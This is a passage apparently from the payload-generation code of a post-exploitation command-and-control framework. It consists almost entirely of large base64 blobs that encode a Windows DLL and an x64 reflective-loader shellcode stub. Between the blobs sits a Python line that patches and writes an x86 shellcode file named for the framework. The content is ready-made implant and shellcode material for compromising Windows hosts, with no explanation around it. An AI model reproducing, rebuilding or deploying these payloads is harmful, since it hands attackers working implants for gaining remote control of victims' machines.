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DKTMq4ywTLHMgAAAOAAAGQBAABIMVAxXDFgMWQxcDF0MXgxkDGYMZwxoDGkMagxrDGwMcgxzDHQMeQx6DHsMQgyLDIwMjQySDJMMlAycDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANZg7oDuoO6w7sDu0O7g7vDvAO8Q7zDvQO9Q72DvcO+A75DvoO/Q7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDwA8AAAVAEAAKgyrDKwMrQySDZMNlA2VDZYNlw2YDZkNmg2bDZwNnQ2eDZ8NoA2hDaINow2kDaUNpg2nDagNqQ2qDasNrA2tDa4Nrw2wDbENsg2zDbQNtQ22DbcNuA25DboNuw28Db8NgA3BDcINww3EDcUNxg3HDcgNyQ3KDcsNzA3NDc4Nzw3QDdEN0g3TDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3tD28PcQ9zD3UPdw95D3sPfQ9/D0EPgw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwAAAAABAIgBAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQMNBQ0HDQkNCw0NDQ8NEQ0TDRUNFw0ZDRsNHQ0fDSENIw0lDScNKQ0rDS0NLw0xDTMNNg+4D7oPvA++D4APwg/ED8YPyA/KD8wPzg/QD9IP1A/WD9gP2g/cD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/AAAAEAEAkAEAAAAwCDAQMBgwIDAoMDAwODBAMEgwUDBYMGAwaDBwMHgwgDCIMJAwmDCgMKgwsDC4MMAwyDDQMNgw4DDoMPAw+DAAMQgxEDEYMSAxKDEwMTgxQDFIMVAxWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgx0DHYMeAx6DHwMfgxADIIMhAyGDIgMigyMDI4MkAySDJQMlgyYDJoMnAyeDKAMogykDKYMqAyqDKwMrgywDLIMtAy2DLgMugy8DL4MgAzCDMQMxgzIDMoMzAzODNAM0gzUDNYM2AzaDNwM3gzgDOIM5AzmDOgM6gzsDO4M8AzyDPQM9gz4DPoM/Az+DMANAg0EDQYNCA0KDQwNDg0QDRINFA0WDRgNGg0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMg00DTYNOA06DTwNPg0ADUINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DXaP94/4j/mPwAAACABAIwAAACMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6TDxQPFg8tDy4PMg8zDzUPOw8/DwAPRA9FD0cPTQ9RD1IPVg9XD1gPWg9gD2QPZQ9pD2oPaw9sD24PdA94D3kPfQ9+D38PQQ+HD4AMAEAyAAAAIwxmDG8Mdwx5DHsMfQx/DEEMhAyMDI4MkAySDJQMlgydDJ4MoAyiDKQMpgyrDLIMugyBDMIMyQzKDMwMzgzQDNEM0wzYDNoM3wzhDOMM5QzmDOcM6QzuDPUM9gz9DP4Mxg0IDQkNEA0SDRMNFw0gDSMNJQ0vDTANMg00DTYNNw05DT4NBg1ODVANUQ1YDWANZw1oDXANeA1ADYgNkA2YDaANqA2wDbgNgA3IDdAN0w3aDeIN6g3yDfoNwQ4CDgAAABAAQBIAAAAADCQNZg1yDXYNeg1+DUINiA2LDYwNjQ2UDZUNiA3JDcoNyw3MDc0Nzg3PDdAN0Q3UDdUN1g3XDdgN2Q3aDdsNwCQAQAUAAAAADocOjQ6UDpsOpQ6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOb25lXDA=" + self.PatchDll("%sPosh_v2_x86_Shellcode.bin" % name, v2_86, v2_86_offset, "Shellcode") + v2_64_offset = 0x00017750 + 8 + v2_64 = "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